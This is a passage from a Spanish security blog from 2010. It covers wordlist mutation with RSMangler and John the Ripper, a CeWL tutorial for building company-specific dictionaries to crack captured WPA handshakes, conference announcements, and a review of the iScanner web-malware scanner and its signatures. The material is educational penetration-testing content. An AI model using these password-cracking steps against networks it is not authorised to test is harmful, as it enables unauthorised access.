4 test.txt

# ./rsmangler.rb --file test.txt > wordlist.txt

# wc -l wordlist.txt
1312 wordlist.txt

Como podemos ver, el factor de crecimiento del diccionario es considerablemente alto, así que si nuestro diccionario origen es ya de por si grande habrá que tener mucho cuidado en seleccionar que palabras nos interesa mutar, que tipos de mutación, etc.


John the Ripper

John the Ripper es un clásico en esto de las mutaciones. Dispone de un lenguaje de reglas, llamadas rules, mediante el cual se puede definir con una gran flexibilidad que tipo de mutaciones queremos realizar, configurándose en el fichero john.conf.

Esta aproximación, sin duda, es mucho más flexible que utilizar RSMangle, pero por contra, definir estas reglas no resulta algo trivial. No entramos a saco a como se definen las reglas para JTR porque esto requeriría un post en si mismo.


Conclusiones

John the Ripper nos proporciona una flexibilidad que no nos permite RSMangle sin modificar su código (aunque haciendo modificaciones leves podemos obtener resultados satisfactorios), pero por contra exige una dedicación mucho mayor para configurar las reglas, mientras que RSMangle viene con un buen conjunto de posibles mutaciones que pueden ser suficiente en la mayoría de los casos.

Nuestra recomendación... ten ambas a mano :)

jueves, 30 de septiembre de 2010

No cON Name (NcN) 20 y 21 de Octubre

Transmitimos la nota de prensa emitida por la asociación No cON Name, en cuya conferencia ya anunciamos que participaremos como ponentes los próximos 20 y 21 de Octubre, y os recordamos pegar un buen vistazo a los cursos (18 y 29 de Octubre) y a las ponencias (20 y 21 de Octubre) que tendrán lugar durante esta conferencia:

La seguridad informática, protagonista en el congreso “No cON Name 2010”

El congreso pretende consolidarse como uno de los encuentros principales del Sur de Europa en el ámbito de la seguridad informática.

Los próximos días 20 y 21 de Octubre tendrá lugar en el CosmoCaixa Barcelona la séptima edición del “No cON Name”, el congreso de seguridad informática con más antigüedad en España. Este evento anual reune tanto a nuevas promesas del sector como a expertos con experiencia, así como a profesionales en el campo de la informática en general, redes telemáticas, programación o ingeniería de protección de software. El congreso tiene lugar en un momento en el que la seguridad de equipos informáticos se ha convertido en la principal preocupación para empresas y particulares.

El congreso se orienta al intercambio para la actualización del conocimiento con el objetivo de estimular una industria puntera en seguridad. Para ello busca la construcción de un foro libre y abierto donde converjan tanto los conocimientos técnicos como la libre opinión.

Esta edición del “No cON Name” analizará diversas áreas clave de la seguridad asociadas a infraestructuras críticas como los sistemas de control de SCADA, responsables de mantener seguras las plantas de producción energética, como centrales eléctricas, de gas, eólicas o hidráulicas.
También profundizará en los sistemas de telefonía móvil que permiten, entre otros usos, las transacciones seguras mediante mensajes sms o la seguridad en tarjetas inteligentes, que permiten, por ejemplo, la identificación personal en los pasaportes, DNI, tarjetas de crédito o el acceso a instalaciones restringidas de alta seguridad.

El “No cON Name” ha organizado en esta edición una serie de concursos novedosos que pretenden dinamizar y cohesionar el evento, como el que anima a formar equipos de varias disciplinas para dar una respuesta rápida y efectiva frente a posibles problemas de seguridad informática en entidades especialmente sensibles como bancos o administraciones públicas.

Cabe destacar la implicación institucional de la Generalitat de Catalunya en el “No cON Name”. Josuè Sallent, director del Centre de Seguretat de la Informació de Catalunya (CESICAT) asistirá a la jornada inaugural del congreso. Además, el Secretari General de Telecomunicacions i Societat de la Informació de la Generalitat, Jordi Bosch intervendrá como ponente para abordar la seguridad informática desde el punto de vista de las políticas llevadas a cabo por su departamento y participará en un coloquio posterior con los asistentes al congreso.

El congreso se realiza gracias al apoyo de sus patrocinadores: Internet Security Auditors, Pentest.es, Blueliv, ackstorm y Evolium, y la colaboración del Centre de Seguretat de la Informació de Catalunya(CESICAT), la Generalitat de Catalunya mediante el plan TIC.cat y SecurityByDefault.

miércoles, 29 de septiembre de 2010

CeWL: Custom Word List Generator

Hace algunas semanas tuve que hacer la auditoría WiFi de una empresa que tenía sus puntos de acceso con WPA-PSK, así que entre las pruebas que hicimos, nos encontramos con unos cuantos "handshake" de WPA (ya lo explicaremos en otra ocasión) sobre los que podríamos intentar un ataque de diccionario.

Sin embargo, los diccionarios "normales" no siempre funcionan, aunque el usuario haya cogido una palabra presente en diccionario, algunas de esas palabras pertenecen al "argot" propio del gremio, o a la cultura de la empresa. Esto es algo bastante común por parte de los usuarios a la hora de escoger claves.

Para ello, existen herramientas como CeWL, que realiza un crawling del sitio web que deseemos, y genera un diccionario a partir de las palabras encontradas en dicho sitio web, entre las cuales deberíamos encontrar estas palabras propias del "argot" de esta empresa.

Aunque podemos lanzarlo con los parámetros por defecto con buenos resultados, hay dos parámetros (entre otros) con los que podamos ajustar el funcionamiento de la herramienta. Veamos este ejemplo para crear un pequeño diccionario de la web de Movistar (publi corporativa):

# ./cewl.rb --depth 2 --min_word_length 5 --write wordlist.txt http://www.movistar.es

Mediante este comando, estamos realizando un crawling de la web de Movistar, con una profundidad 2, es decir, profundidad 1 serían todas las palabras de la web principal, profundidad 2 todas estas y todas las de las webs enlazadas desde esta, y así sucesivamente. De las palabras obtenidas, comprobamos si estas tienen una longitud mínima de 5, y sino las descartaremos. La longitud mínima es algo importante a considerar, ya que si ponemos un tamaño muy pequeño, preposiciones como "de", "a", "en" podrían ser reconocidas como palabras de nuestro wordlist, que se guardará en un dichero con nombre wordlist.txt.

Según el tamaño de la página, el crawling puede tardar más o menos, pero en páginas de tamaño considerable como la que hemos elegido para el ejemplo, puede tardar un buen rato.
Tras unos minutos, ya tenemos una primera lista, que como os podéis imaginar, ademas de las palabras que nos interesan, va a tener muchas palabras que realmente nos van a resultar de poca utilidad.

# wc -l wordlist.txt
3889 wordlist.txt

Sin embargo, aunque la mayoría de estas casi 4000 palabras no nos vayan a resultar de utilidad, sí que hay palabras que pueden darnos más de una alegría ¿Alguien sabe que es "Keteke"?

# more wordlist.txt | grep -i keteke
Keteke

Keteke es un proyecto de una red social que intentó sacar Telefónica hace algún tiempo, pero cuyo éxito ni se ha acercado al de otras redes sociales como FaceBook o Tuenti. Seguramente ninguno habíais oído hablar de él, igual que yo antes de empezar a trabajar en el grupo, y por supuesto es una palabra que probablemente no aparecerá en ningún diccionario del mundo, pero con una alta probabilidad, podría ser usada por el equipo técnico que participó en su desarrollo, y seguir siendo usada en alguna de las máquinas que albergaban este servicio pero que ahora se dedican a otros temas, etc.

Vale, tenemos un diccionario personalizado de 4000 palabras, de las cuales tengo un montón que son morralla, y algunas palabras que me pueden resultar muy útiles ¿Cómo hago para eliminar todo o gran parte de lo que no me va a resultar útil?

Observando las palabras de este diccionario en un vistazo diagonal (como se suele decir), vamos que hay muchas palabras numéricas que parecen no tener mucho significado, así como palabras "normales" que podrían estar presente en cualquier diccionario.
En primer lugar, vamos a quedarnos únicamente con las palabras que no contengan números, así que usaremos una expresión regular (ver nota al final para explicación):

# cat wordlist.txt | egrep "^[a-zA-Z]{5,12}$" > wordlist_movistar.txt

# wc -l wordlist_movistar.txt
3239 wordlist_movistar.txt

Bueno, hemos reducido un poco. Podríamos reducir un poco más haciendo "diff" con un diccionario y eliminando aquellas palabras comunes, pero aún así no conseguiríamos reducirlo mucho, así que vamos a dejarlo como está por el momento.

Claro... tenemos palabras como "Keteke", pero un usuario podría usar contraseñas como "keteke", "KETEKE", "Keteke06" o similares.
¿Cómo podemos obtener todas estas variaciones?

El próximo lunes destriparemos un par de herramientas para realizar estas "mutaciones" de palabras y enriquecer así nuestro diccionario para tener en cuenta todas estas combinaciones.

Nota: Explicación de la expresión regular (para los que no las dominen):
[a-zA-Z] = cualquier carácter mayúscula o minúscula
X{5,12} = que se produzca entre 5 y 12 veces
^X = que se encuentre al principio
X$ = que se encuentre al final
^[a-zA-Z]{5,12}$ = cualquier cadena de mayúsculas o minúsculas de longitud entre 5 y 12

martes, 21 de septiembre de 2010

Ponentes en No cON Name

La No cON Name (NcN) es una de las principales conferencias que tienen lugar en nuestro país, y probablemente la más antigua (2002), que tras un descanso de casi 4 años sin realizarse, vuelven el próximo 20 y 21 de Octubre en su edición 2010, pero esta vez se traslada de Mallorca a Barcelona.

Hace unos pocos días se publicó oficialmente la lista de ponentes y cursos de los que podremos disfrutar durante los días que duren las conferencias, entre los cuales se encontrará Pentester.Es, con una charla sobre "IP Fragmentation Overlapping", una técnica que ya comentamos en el blog como ayuda a la resolución de uno de los retos de las PreQuals de la DEFCON, pero esta vez aplicado a un entorno más real como es la evasión de IDS y contramedidas para evitarlo.

Además de la charla que daremos nosotros en la NcN, esta es la lista del resto de ponencias confirmadas en este momento:
Los interesados en asistir a las conferencias, podéis apuntaros por el módico precio de 20€ a través de éste enlace.

Allí nos vemos!

jueves, 16 de septiembre de 2010

iScanner, detección de código malicioso

iScanner para que los que no os suene, es una herramienta open source que permite detectar y eliminar código malicioso de forma local en contenido Web (perdonarme los puristas por esta definición tan simplista). Durante esta entrada vamos a ver qué nos ofrece iScanner, qué usos le podemos dar. La herramienta está desarrollada en Ruby y en base a un conjunto de "firmas" detecta el contenido malicioso y permite eliminarlo.

Como siempre una vez hechas las presentaciones formales, pasamos a ver como utilizarla. Lo primero es descargar la herramienta (versión 0.6) del sitio oficial:

$ cd /tmp
$ wget http://iscanner.isecur1ty.org/download/iscanner.tar.gz

Una vez descargada la aplicación la descomprimimos:

$ tar -xvzf iscanner.tar.gz

Dado que es una aplicación desarrollada en Ruby, recordar que deberemos tener los paquetes de ruby instalados. En esta entrada como hemos trabajado sobre Debian lo instalaremos mediante APT:

$ apt-get install ruby

Podéis encontrar esta info para otras plataformas la web oficial.

Ya disponemos de la aplicación lista para usar. Lo primero visualizamos qué es lo que contiene la aplicación:

-rw-rw-r-- 1 500 500 34521 mar 16 21:54 LICENSE
-rwxrwxr-x 1 500 500 3611 jun 5 13:05 installer
-rwxrwxr-x 1 500 500 20633 jun 6 11:08 iscanner
-rw-rw-r-- 1 500 500 2670 jun 6 11:12 signatures-0.1.7.db
-rw-rw-r-- 1 500 500 1585 jun 6 11:13 CHANGELOG
-rw-rw-r-- 1 500 500 6076 jun 6 11:15 README

  • installer es un script para realizar la instalación y desinstalación de la aplicación.
  • iscanner es un script que realiza las funciones de la aplicación
  • signatures-0.1.7.db es la base de datos de firmas, vamos es la madre del cordero.

Visto lo visto, tenemos un script y una base de datos de firmas. Ahora vamos a ver qué opciones nos presenta la aplicación:

-R, --remote [URL] Scan remote web page / website
-F, --file [FILE] Scan a specific file
-f, --folder [DIRECTORY] Scan a specific folder
-e, --extensions [ext:ext:ext] The extensions you want to scan
-d, --database [DATABASE] Select database file
-M, --malware [FILE] Specify malware to be removed
-o, --output [LOG-FILE] Output log file
-m, --email [EMAIL-ADDRESS] Send report to email address
-c, --clean [LOG-FILE] Clean infected files
-b, --backup Backup infected files
-r, --restore [BACKUP-FOLDER] Restore the infected files
-a, --auto-clean Enable auto clean mode
-D, --debug Enable debugging mode
-q, --quiet Enable quiet mode
-s, --send [MALICIOUS-FILE] Send malicious file for analyzes
-U, --update Update iScanner to latest version
-u, --update-db Update signatures database only
-v, --version Print version number
-h, --help Show this message

En vista de las opciones vemos que iScanner nos ofrece, escaneo de URL's remota, y ficheros locales, filtrando por extensiones y envío de informes por correo electrónico. En el trato de los ficheros infectados, permite realizar copias de seguridad, restaurar la copias, borrado de contenido malicioso y envío de los ficheros malicioso por correo electrónico. Además de esto nos ofrece la actualización de las firmas a través de la aplicación.

Observando la base de datos de firmas, vemos que se trata de expresiones regulares con la siguiente forma:

El fichero de firmas en la versión recién instalada vemos que contiene 18 firmas. Por tanto lo primero es actualizar la base de datos de firmas con:

$ ./isanner -u

En nuestro caso nos actualiza las firmas a las versión 0.1.8

Starting iScanner 0.6 on [localhost] at (Tue Sep 7 18:33:07 2010)
Copyright (C) 2010 iSecur1ty

[*] Connecting to the server, please wait...
[*] iScanner's database successfully updated to version [0.1.8].

[*] Check out: iCommander, A Command and Control Centre lets you manage
multiple servers from one place.

[-] Exiting iScanner...

Actualizada las base de datos de firmas, probamos a realiza un primer escaneo de la página web "www.pentester.es" a ver qué resultado obtenemos:

$ ./iscanner -R http://www.pentester.es

Starting iScanner 0.6 on [localhost] at (Tue Sep 7 18:38:04 2010)
Copyright (C) 2010 iSecur1ty

[*] Opening: http://www.pentester.es
[*] Scanning "www.pentester.es-18:38:11-07.Sep.html". (db:0.1.8 - 07/Jun/2010)

[!] Scanned file: www.pentester.es-18:38:11-07.Sep.html
Signature: [id:2.0] (<\/script>)
Description: Javascript 'unescape' function detected, possible obfuscated malicious code.


[*] Scan finished in (7) seconds, [1] infected files found.
Please check "infected-18:38:04-07.Sep.log" for details.

Vemos como ha salto una de las firmas porque ha detectado la función unescape y viendo el código "volcado" al fichero www.pentester.es-18:38:11-07.Sep.html se puede observar como no es malicioso, tratándose del código para google-analytics. Esta misma operación la podemos realizar sobre un fichero pasado por argumento como un directorio.

Después de haber realizado diferentes pruebas hemos llegado a las siguiente conclusiones preliminares:
  • La herramienta aún tiene un largo camino que recorrer en cuanto a firmas se refiere, siendo por el momento insuficiente, para la gran cantidad de variedad de malware en la web que nos podemos encontrar.
  • Si os ha pasado como a nosotros que esperábamos que fuera una herramienta para monitorización de malware un poco más completa, deciros que no ofrece crawling web para realizar un escaneo de manera remota, cosa que bajo nuestro punto de vista es necesario si queréis monitorizar un dominio. Este punto podría ser realizado de manera externa por aplicación que haga crawling y le pase los resultados a iscanner, quizá sea como han pensado dicha herramienta.
  • Para lo que parece estar más orientada por el momento la herramienta y por eso puede ofrecer la funcionalidad de borrado de malware, es para analizar nuestro propia aplicación de manera local en nuestro propio servidor Web.
  • Las firmas son bastante genéricas por lo que nos han generado falsos positivos sobre páginas web analizadas. Solo hemos comentado pentester.es, pero han habido otros casos de falsos positivos. Debemos ser muy cautos si ponemos la funcionalidad de eliminación del malware a trabajar.
De todos modos, este es el estado de iScanner en su versión 0.6, y nuestra humilde opinión . Esperemos estar pronto con nuevas versiones y funcionalidades nuevas, etc. ¿Alguien conoce alguna alternativa a iScanner? ¿Experiencias con iScanner?